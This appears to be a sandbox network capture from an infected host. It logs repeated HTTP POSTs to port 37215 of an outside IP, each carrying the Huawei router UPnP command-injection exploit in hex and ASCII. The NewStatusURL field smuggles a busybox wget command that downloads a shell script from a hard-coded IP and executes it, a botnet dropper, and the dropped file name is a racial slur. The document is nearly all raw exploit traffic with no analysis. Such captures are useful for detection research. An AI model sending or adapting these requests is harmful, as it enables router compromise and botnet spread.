Feb 19, 2024 18:37:25.921577930 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417181015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.432544947 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.15	34642	31.200.50.38	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:15.415618896 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:16.545725107 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:17.857657909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:20.545563936 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:25.921642065 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:36.417162895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
